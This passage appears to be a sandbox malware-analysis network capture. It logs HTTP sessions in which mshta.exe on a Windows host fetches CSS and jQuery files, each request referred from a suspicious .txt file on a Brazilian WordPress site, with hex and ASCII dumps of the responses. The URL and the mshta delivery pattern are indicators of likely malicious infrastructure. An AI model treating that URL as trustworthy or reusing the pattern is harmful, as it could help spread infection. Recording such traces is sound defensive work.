Aug 16, 2022 11:05:56.839222908 CEST	1791	IN	Data Raw: 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 42 61 73 6b 65 72 76 69 6c 6c 65 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 20 7d 0a 20 20 2e 6d 66 70 2d 63 6c 6f 73 65 3a 68 6f 76 Data Ascii: font-size: 28px; font-family: Arial, Baskerville, monospace; } .mfp-close:hover, .mfp-close:focus { opacity: 1; } .mfp-close:active { top: 1px; }.mfp-close-btn-in .mfp-close { color: #333333; }.mfp-image-holder .mfp-close,
Aug 16, 2022 11:05:56.839463949 CEST	1792	IN	Data Raw: 67 68 74 3a 20 31 37 70 78 20 73 6f 6c 69 64 20 77 68 69 74 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 31 70 78 3b 20 7d 0a 20 20 2e 6d 66 70 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 2c 0a 20 20 2e 6d 66 70 2d 61 Data Ascii: ght: 17px solid white; margin-left: 31px; } .mfp-arrow-left:before, .mfp-arrow-left .mfp-b { margin-left: 25px; border-right: 27px solid #3f3f3f; }.mfp-arrow-right { right: 0; } .mfp-arrow-right:after, .mfp-arrow-right
Aug 16, 2022 11:05:56.839482069 CEST	1794	IN	Data Raw: 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 2d 31 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 38 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 36 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a Data Ascii: ight: auto; z-index: -1; box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); background: #444444; }.mfp-figure { line-height: 0; }.mfp-bottom-bar { margin-top: -36px; position: absolute; top: 100%; left: 0; width: 100%; cursor: aut
Aug 16, 2022 11:05:56.839503050 CEST	1795	IN	Data Raw: 69 6c 65 20 2e 6d 66 70 2d 63 6f 75 6e 74 65 72 20 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 33 70 78 3b 20 7d 0a 0a 20 20 2e 6d 66 70 2d 69 6d 67 2d 6d 6f 62 69 6c 65 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b Data Ascii: ile .mfp-counter { right: 5px; top: 3px; } .mfp-img-mobile .mfp-close { top: 0; right: 0; width: 35px; height: 35px; line-height: 35px; background: rgba(0, 0, 0, 0.6); position: fixed; text-align: cen
Aug 16, 2022 11:05:56.839519024 CEST	1796	IN	Data Raw: 61 63 69 74 79 3a 20 30 2e 38 3b 0a 7d 0a 2f 2a 20 6f 76 65 72 6c 61 79 20 61 6e 69 6d 61 74 65 20 6f 75 74 20 2a 2f 0a 2e 6d 66 70 2d 66 61 64 65 2e 6d 66 70 2d 62 67 2e 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a Data Ascii: acity: 0.8;}/* overlay animate out /.mfp-fade.mfp-bg.mfp-removing { opacity: 0;}/ content at start */.mfp-fade.mfp-wrap .mfp-content { opacity: 0; -webkit-transition: all 0.15s ease-out; -moz-transition: all 0.15s ease-out;
Aug 16, 2022 11:05:56.839533091 CEST	1797	IN	Data Raw: 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 Data Ascii: bkit-transform: scale(0.8); -moz-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); opacity: 0;}.mfp-zoom-in.mfp-removing.mfp-bg { opacity: 0;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49760	104.18.10.207	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:50.777055025 CEST	1180	OUT	GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: netdna.bootstrapcdn.com Connection: Keep-Alive
Aug 16, 2022 11:05:50.800591946 CEST	1182	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:50 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 Content-Encoding: gzip Last-Modified: Mon, 25 Jan 2021 22:04:51 GMT CDN-CachedAt: 08/03/2021 17:42:29 CDN-EdgeStorageId: 601 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-ProxyVer: 1.0 CDN-Status: 200 CDN-RequestId: 6a3ecfb7abce577b84969b7b3a3242a6 CDN-Cache: HIT CF-Cache-Status: HIT Age: 14923686 Server: cloudflare CF-RAY: 73b902b45da75b2c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 37 34 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 5d fb 93 db 36 92 fe dd 7f 05 cf a9 9c 1d 97 29 0f 47 f3 de ca 5e 1c c7 d9 73 9d 73 76 ad 9d da bd ba 47 15 45 42 12 33 94 c8 f0 31 0f 5f e5 7f bf af 01 52 ea 16 d9 a0 72 1b d7 ae e3 21 1b 40 a3 f1 f5 03 8d 06 e7 d5 8b 7f 7a 12 bc 08 82 1f 8b 6d 13 bc be 37 75 b1 31 c1 7c 76 3a 8b ec e3 66 6d 82 2c 29 b6 59 12 2c 89 22 35 75 b6 da 9a 14 3f 55 c1 f7 45 d1 d4 4d 15 97 96 34 fc 43 ff d8 2e 3f 63 f4 65 9b e7 41 dd 66 8d 09 8a 65 50 66 49 53 ac 30 e4 1a 1c 11 63 f5 cb c0 3c c4 9b 32 37 f8 57 bc 4d 83 b4 48 da 8d d9 36 71 93 15 db 20 89 b7 c1 c2 d8 ce 96 45 8b d7 71 13 ac 9b a6 bc 79 f5 8a e6 13 bb 09 cf b2 62 16 04 9f 9a f8 31 68 cb a0 29 82 34 a6 e1 b6 c1 e7 fb ac 69 4c 85 56 b6 8b ae 65 e3 9e ce 92 62 23 7a 01 8d 25 7b 9f 25 66 5b bb 51 ff 50 a1 84 4e d0 56 2e 62 c1 ec da 64 75 90 bb 91 d3 00 53 05 db 9f de bd 0f 3e fc f8 3e 88 66 51 e0 da ee e6 50 27 55 56 36 f5 ac ce f2 59 51 ad 5e 81 ac eb 5c 74 fc e6 d3 a7 97 c1 fb b7 f4 37 09 f7 d3 eb 4f 9f 82 65 06 61 07 71 65 0e 87 fb e9 dd e7 7e ee 87 c3 15 25 24 52 b4 55 62 ec 68 1d 9f f5 ab 4d d6 84 dd 0f b3 75 b3 c9 c7 78 90 2b 7a 30 c5 37 6f 82 ef ff 03 80 3d 39 1c 31 a9 0c 20 70 67 b0 48 1b c0 44 0e bb 78 7c 85 26 af ba d1 5e 37 4d 95 2d 5a 0b 18 08 71 5b 04 79 b1 5d 41 7e 95 f9 b5 cd 2a a0 3d db 1e 2a c8 c9 cb 00 2d 82 4d 9b ac 83 b8 2c 2b 93 64 c0 4c 7a 63 bb 0c 82 a7 42 8a 8b c7 e0 87 f8 ce Data Ascii: 1747]6)G^ssvGEB31_Rr!@zm7u1\|v:fm,)Y,"5u?UEM4C.?ceAfePfIS0c<27WMH6q Eqyb1h)4iLVeb#z%{%f[QPNV.bduS>>fQP'UV6YQ^\t7Oeaqe~%$RUbhMux+z07o=91 pgHDx\|&^7M-Zq[y]A~=-M,+dLzcB
Aug 16, 2022 11:05:50.800601959 CEST	1183	IN	Data Raw: 04 7f 81 0c 1f 83 70 1c 81 4f 7b f8 bc 6e 9b 35 b4 2b 64 6d 1c a3 7f 28 96 6c 97 6f 37 71 96 df 00 ee 77 e6 3b a9 0f f6 75 07 ff 9b 31 e0 2f 1e eb 04 5a 59 5b c2 bf 15 d5 ed 4d f0 de c4 69 f0 b1 2a d2 36 69 82 1f 9c a5 a8 82 ef 82 7f 7b ac da b6 Data Ascii: pO{n5+dm(lo7qw;u1/ZY[Mi*6i{Lz?_WM&Q[>eV6Yx<#wFf3\_{g3S4r5z}2{]kyl&MM<4'rge=>}5oB}A26@
Aug 16, 2022 11:05:50.800609112 CEST	1185	IN	Data Raw: e7 40 4c 42 b1 15 ad 67 0d 07 ba d8 d9 8f c1 56 b8 eb 77 74 cc 81 dc 45 27 fb 6d e9 90 6e 9c 93 21 9d 33 6a 03 a6 18 e1 ef 5d cd 9d 9b 74 7d 9c 3e 60 82 e3 8b e6 a7 64 b3 db 3b f9 e3 fa b4 1e b5 27 e5 9e d5 1a ff 59 74 75 14 1a a5 b0 c6 a7 60 77 Data Ascii: @LBgVwtE'mn!3j]t}>`d;'Ytu`w*$F% 4M8!!A80G(8n\|{,w'?fcAlK[c@vP(KECVZvB#:xw,;j@%
Aug 16, 2022 11:05:50.800632000 CEST	1186	IN	Data Raw: 70 9c 0d 6f ae a1 f3 74 c9 4c 6f 82 ac 42 15 ab b4 73 6e 78 29 7b a4 53 72 18 2f 8a 5c 57 e0 39 87 70 86 f0 da 13 61 cc 85 3d a5 ca a5 2e 65 a6 4d 6e ce b1 6c b3 2a 2e e5 a6 d2 73 2c db dc aa 2d 76 d0 a7 c9 b1 ec e8 5d 11 95 de 82 83 d9 b5 e0 26 Data Ascii: potLoBsnx){Sr/\W9pa=.eMnl*.s,-v]&eh/mdK=JsTPdW&:grB2e;^@'X7%h6.C"Owa$xodH=&<"EDC7Y/8qgucJ$uM7VxjY[)6k#^
Aug 16, 2022 11:05:50.800657034 CEST	1187	IN	Data Raw: 50 ba 7a 1e 75 29 cd a1 d1 a5 0d 85 4e cd 21 dc 1d c3 33 81 f7 06 0d ca a8 6f 26 0d c7 75 6e 56 9e 82 0f c3 e1 9c a2 66 63 51 f8 22 3d 33 92 56 f1 ee 00 cc d8 86 d3 df 42 06 e5 9e 22 29 23 ed 70 63 36 b1 ee fa 0c c7 31 76 b2 f8 fe 44 ae 9f fd 1a Data Ascii: Pzu)N!3o&unVfcQ"=3VB")#pc61vDG3U=7H0"d#Bqr"l]7oL^FwKgO Kh7Yh}'Pe<\|p.3EZ[tsJK6S/H8r!Jtj^6cwcR\|HZ$Oq
Aug 16, 2022 11:05:50.800671101 CEST	1188	IN	Data Raw: 91 e8 92 9b 70 ec bd 5b f5 72 6f 24 ea 6b 53 fc fe 93 85 e7 ac 3d 12 85 b5 f5 2d 7d a3 5d e5 81 83 18 bf 74 a7 aa 7f 6d 3d f7 b0 f0 15 16 16 41 37 74 a6 a6 ef ec 65 1d 2d 0e eb 3c 52 be e2 d1 8c 9f 52 c4 2e f8 8d 3f 7a 89 47 24 6a 67 eb 56 df 42 Data Ascii: p[ro$kS=-}]tm=A7te-<RR.?zG$jgVB2YH#tEqU"Q{'lD%,~=#}J t>>_j
Aug 16, 2022 11:05:50.800683022 CEST	1188	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49780	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:57.098674059 CEST	1826	OUT	GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:57.322155952 CEST	1860	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:57 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:37:34 GMT ETag: "a5169a-156c1-58592f1eb4380" Accept-Ranges: bytes Content-Length: 87745 Connection: close Content-Type: text/css Data Raw: 2e 6d 6f 74 6f 70 72 65 73 73 2d 74 65 78 74 2d 6f 62 6a 20 73 70 61 6e 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 65 6d 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 2d 62 61 73 69 63 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 20 69 6d 67 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 72 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 74 74 6f 6d 3a 2d 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 20 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: .motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopress-image-slider-obj .flex-control-nav li{margin:0 6px !important;padding:0;width:auto !important
Aug 16, 2022 11:05:57.322201967 CEST	1861	IN	Data Raw: 3b 68 65 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d Data Ascii: ;height:auto !important}.motopress-image-slider-obj .flex-control-nav li:before,.motopress-image-slider-obj .flex-control-nav li:after{content:none !important}.motopress-image-slider-obj .flex-control-nav li a{position:static;z-index:auto;widt
Aug 16, 2022 11:05:57.322356939 CEST	1863	IN	Data Raw: 6f 62 6a 20 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 3a 68 6f 76 65 72 20 2e 66 6c 65 78 2d 6e 65 78 74 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f Data Ascii: obj .flex-direction-nav:hover .flex-next:hover{opacity:1}.motopress-image-slider-obj>p{display:none !important}.motopress-row .motopress-clmn.motopress-space{min-height:10px}.motopress-row .motopress-clmn.motopress-space .motopress-space-obj{h
Aug 16, 2022 11:05:57.322452068 CEST	1864	IN	Data Raw: 70 72 65 73 73 2d 72 6f 77 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 63 6c 6d 6e 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 6f 62 6a 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 68 65 61 Data Ascii: press-row .motopress-clmn.motopress-space .motopress-space-obj.motopress-space-heavy>div{border-top:6px inset #cdcdcd;margin-top:-3px}.motopress-video-obj{position:relative;padding-bottom:56.25%;padding-top:30px;height:0;overflow:hidden}.motop
Aug 16, 2022 11:05:57.322618961 CEST	1865	IN	Data Raw: 23 66 65 66 65 66 65 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 2c 23 65 36 65 36 65 36 2c 23 66 65 66 65 66 65 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 Data Ascii: #fefefe);background-image:linear-gradient(to top,#e6e6e6,#fefefe);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6',endColorstr='#fffefefe',GradientType=0)}.motopress-button-obj .motopress-btn-color-silver:hover{color
Aug 16, 2022 11:05:57.322695017 CEST	1867	IN	Data Raw: 73 73 2d 62 75 74 74 6f 6e 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 62 74 6e 2d 63 6f 6c 6f 72 2d 72 65 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 61 36 38 35 37 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 Data Ascii: ss-button-obj .motopress-btn-color-red:hover{background-color:#ea6857;background-image:-moz-linear-gradient(bottom,#e76452,#ef6f5f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#e76452),to(#ef6f5f));background-image:-webkit-linear-
Aug 16, 2022 11:05:57.322861910 CEST	1868	IN	Data Raw: 30 30 25 2c 30 20 30 2c 66 72 6f 6d 28 23 66 35 38 64 62 63 29 2c 74 6f 28 23 66 64 63 62 65 31 29 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d Data Ascii: 00%,0 0,from(#f58dbc),to(#fdcbe1));background-image:-webkit-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:-o-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:linear-gradient(to top,#f58dbc,#fdcbe1);filter:progid:DXImageTrans
Aug 16, 2022 11:05:57.323000908 CEST	1870	IN	Data Raw: 6e 74 28 74 6f 20 74 6f 70 2c 23 66 62 38 65 33 64 2c 23 66 66 62 66 35 39 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 67 72 61 64 69 65 6e 74 28 73 74 61 72 74 Data Ascii: nt(to top,#fb8e3d,#ffbf59);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffb8e3d',endColorstr='#ffffbf59',GradientType=0)}.motopress-button-obj .motopress-btn-color-hot-summer{-webkit-box-shadow:inset 0 0 0 1px #f2bf0b;-mo
Aug 16, 2022 11:05:57.323163033 CEST	1871	IN	Data Raw: 6e 2d 63 6f 6c 6f 72 2d 6f 6c 69 76 65 2d 67 61 72 64 65 6e 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 31 70 78 20 23 38 61 64 35 33 32 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e Data Ascii: n-color-olive-garden{-webkit-box-shadow:inset 0 0 0 1px #8ad532;-moz-box-shadow:inset 0 0 0 1px #8ad532;box-shadow:inset 0 0 0 1px #8ad532;background-color:#92ca26;background-image:-moz-linear-gradient(bottom,#7fb615,#afe840);background-image:
Aug 16, 2022 11:05:57.323390007 CEST	1872	IN	Data Raw: 69 6d 61 67 65 3a 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 33 32 39 63 30 64 2c 23 35 62 64 36 33 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 Data Ascii: image:-moz-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#329c0d),to(#5bd63f));background-image:-webkit-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-o-linear-gradient(bottom,#329c
Aug 16, 2022 11:05:57.546360970 CEST	1890	IN	Data Raw: 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 30 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f Data Ascii: 0aaea,#25e3ef);background-image:-o-linear-gradient(bottom,#00aaea,#25e3ef);background-image:linear-gradient(to top,#00aaea,#25e3ef);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00aaea',endColorstr='#ff25e3ef',GradientTyp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49781	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:57.620209932 CEST	1918	OUT	GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:57.835247993 CEST	1970	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:15 GMT Server: Apache ETag: "a534c3-17278-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 94840 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 22429081 21534798 Age: 103 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 32 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 29 7b 69 66 28 21 63 6a 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6b 7c 7c 28 63 6b 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6b 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6b 2e 77 69 64 74 68 3d 63 6b 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6b 29 3b 69 66 28 21 63 6c 7c 7c 21 63 6b 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6c 3d 28 63 6b 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6b 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6c 2e 77 72 69 74 65 28 28 66 2e 73 75 70 70 6f 72 74 2e 62 6f 78 4d 6f 64 65 6c 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 